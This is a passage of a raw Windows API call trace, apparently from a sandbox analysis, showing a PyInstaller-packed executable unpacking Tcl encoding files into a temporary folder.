SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.856] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.856] CloseHandle (hObject=0x10c) returned 1 [0036.856] GetLastError () returned 0x0 [0036.856] SetLastError (dwErrCode=0x0) [0036.856] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.856] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.856] GetFileType (hFile=0x10c) returned 0x1 [0036.856] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.856] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.856] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.856] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.856] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.856] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.856] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.857] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.857] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.857] CloseHandle (hObject=0x10c) returned 1 [0036.857] GetLastError () returned 0x0 [0036.857] SetLastError (dwErrCode=0x0) [0036.857] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\shiftjis.enc") returned 71 [0036.857] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\shiftjis.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\shiftjis.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.857] GetLastError () returned 0x2 [0036.857] SetLastError (dwErrCode=0x2) [0036.857] GetLastError () returned 0x2 [0036.857] SetLastError (dwErrCode=0x2) [0036.857] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\shiftjis.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\shiftjis.enc", lpFilePart=0x0) returned 0x46 [0036.857] GetLastError () returned 0x2 [0036.857] SetLastError (dwErrCode=0x2) [0036.857] GetLastError () returned 0x2 [0036.857] SetLastError (dwErrCode=0x2) [0036.857] GetLastError () returned 0x2 [0036.857] SetLastError (dwErrCode=0x2) [0036.857] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\shiftjis.enc") returned 71 [0036.857] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.857] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\shiftjis.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\shiftjis.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.858] GetFileType (hFile=0x10c) returned 0x1 [0036.858] htonl (hostlong=0x86a30000) returned 0xa386 [0036.858] WriteFile (in: hFile=0x10c, lpBuffer=0x5642d0*, nNumberOfBytesToWrite=0xa000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x5642d0*, lpNumberOfBytesWritten=0x4fcd00*=0xa000, lpOverlapped=0x0) returned 1 [0036.859] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.860] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x386, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x386, lpOverlapped=0x0) returned 1 [0036.860] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.860] CloseHandle (hObject=0x10c) returned 1 [0036.861] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5642d0 | out: hHeap=0x530000) returned 1 [0036.863] htonl (hostlong=0x30000000) returned 0x30 [0036.863] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.863] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.863] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.863] GetFileType (hFile=0x10c) returned 0x1 [0036.863] htonl (hostlong=0xa6ec5600) returned 0x56eca6 [0036.863] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5b9ca6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.863] htonl (hostlong=0x30020000) returned 0x230 [0036.863] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x230) returned 0x550600 [0036.863] htonl (hostlong=0x30020000) returned 0x230 [0036.863] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.863] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.863] htonl (hostlong=0x43040000) returned 0x443 [0036.863] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x443) returned 0x55e278 [0036.863] htonl (hostlong=0x30020000) returned 0x230 [0036.863] htonl (hostlong=0x43040000) returned 0x443 [0036.863] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.864] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.864] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.864] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.864] CloseHandle (hObject=0x10c) returned 1 [0036.864] GetLastError () returned 0x0 [0036.864] SetLastError (dwErrCode=0x0) [0036.864] GetLastError () returned 0x0 [0036.864] SetLastError (dwErrCode=0x0) [0036.864] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.864] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.864] GetFileType (hFile=0x10c) returned 0x1 [0036.865] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.865] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.865] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.865] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.865] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.865] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.865] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.865] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.865] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.865] CloseHandle (hObject=0x10c) returned 1 [0036.865] GetLastError () returned 0x0 [0036.865] SetLastError (dwErrCode=0x0) [0036.865] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.865] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.865] GetFileType (hFile=0x10c) returned 0x1 [0036.865] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.865] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.865] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.865] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.865] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.865] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.865] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.865] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.865] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.865] CloseHandle (hObject=0x10c) returned 1 [0036.866] GetLastError () returned 0x0 [0036.866] SetLastError (dwErrCode=0x0) [0036.866] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\symbol.enc") returned 69 [0036.866] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\symbol.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\symbol.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.866] GetLastError () returned 0x2 [0036.866] SetLastError (dwErrCode=0x2) [0036.866] GetLastError () returned 0x2 [0036.866] SetLastError (dwErrCode=0x2) [0036.866] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\symbol.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\symbol.enc", lpFilePart=0x0) returned 0x44 [0036.866] GetLastError () returned 0x2 [0036.866] SetLastError (dwErrCode=0x2) [0036.866] GetLastError () returned 0x2 [0036.866] SetLastError (dwErrCode=0x2) [0036.866] GetLastError () returned 0x2 [0036.866] SetLastError (dwErrCode=0x2) [0036.866] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\symbol.enc") returned 69 [0036.866] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.866] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\symbol.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\symbol.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.866] GetFileType (hFile=0x10c) returned 0x1 [0036.866] htonl (hostlong=0x43040000) returned 0x443 [0036.866] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.866] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x443, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x443, lpOverlapped=0x0) returned 1 [0036.867] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.867] CloseHandle (hObject=0x10c) returned 1 [0036.868] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.868] htonl (hostlong=0x30000000) returned 0x30 [0036.868] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.868] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.868] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.868] GetFileType (hFile=0x10c) returned 0x1 [0036.868] htonl (hostlong=0xd6ee5600) returned 0x56eed6 [0036.868] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5b9ed6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.868] htonl (hostlong=0xd9010000) returned 0x1d9 [0036.868] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1d9) returned 0x550600 [0036.868] htonl (hostlong=0xd9010000) returned 0x1d9 [0036.868] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.869] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.869] htonl (hostlong=0x43040000) returned 0x443 [0036.869] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x443) returned 0x5507e8 [0036.869] htonl (hostlong=0xd9010000) returned 0x1d9 [0036.869] htonl (hostlong=0x43040000) returned 0x443 [0036.869] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.869] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.869] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.869] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.869] CloseHandle (hObject=0x10c) returned 1 [0036.869] GetLastError () returned 0x0 [0036.869] SetLastError (dwErrCode=0x0) [0036.869] GetLastError () returned 0x0 [0036.869] SetLastError (dwErrCode=0x0) [0036.869] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.869] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.869] GetFileType (hFile=0x10c) returned 0x1 [0036.869] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.869] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.869] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.869] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.869] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.869] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.869] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.869] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.869] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.870] CloseHandle (hObject=0x10c) returned 1 [0036.870] GetLastError () returned 0x0 [0036.870] SetLastError (dwErrCode=0x0) [0036.870] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.870] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.870] GetFileType (hFile=0x10c) returned 0x1 [0036.870] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.870] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.870] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.870] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.870] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.870] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.870] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.870] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.870] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.870] CloseHandle (hObject=0x10c) returned 1 [0036.870] GetLastError () returned 0x0 [0036.870] SetLastError (dwErrCode=0x0) [0036.870] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\tis-620.enc") returned 70 [0036.870] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\tis-620.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\tis-620.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.870] GetLastError () returned 0x2 [0036.870] SetLastError (dwErrCode=0x2) [0036.870] GetLastError () returned 0x2 [0036.870] SetLastError (dwErrCode=0x2) [0036.871] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\tis-620.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\tis-620.enc", lpFilePart=0x0) returned 0x45 [0036.871] GetLastError () returned 0x2 [0036.871] SetLastError (dwErrCode=0x2) [0036.871] GetLastError () returned 0x2 [0036.871] SetLastError (dwErrCode=0x2) [0036.871] GetLastError () returned 0x2 [0036.871] SetLastError (dwErrCode=0x2) [0036.871] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\tis-620.enc") returned 70 [0036.871] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.871] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\tis-620.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\tis-620.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.871] GetFileType (hFile=0x10c) returned 0x1 [0036.871] htonl (hostlong=0x43040000) returned 0x443 [0036.871] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.871] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x443, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x443, lpOverlapped=0x0) returned 1 [0036.893] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.893] CloseHandle (hObject=0x10c) returned 1 [0036.894] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5507e8 | out: hHeap=0x530000) returned 1 [0036.894] htonl (hostlong=0x30000000) 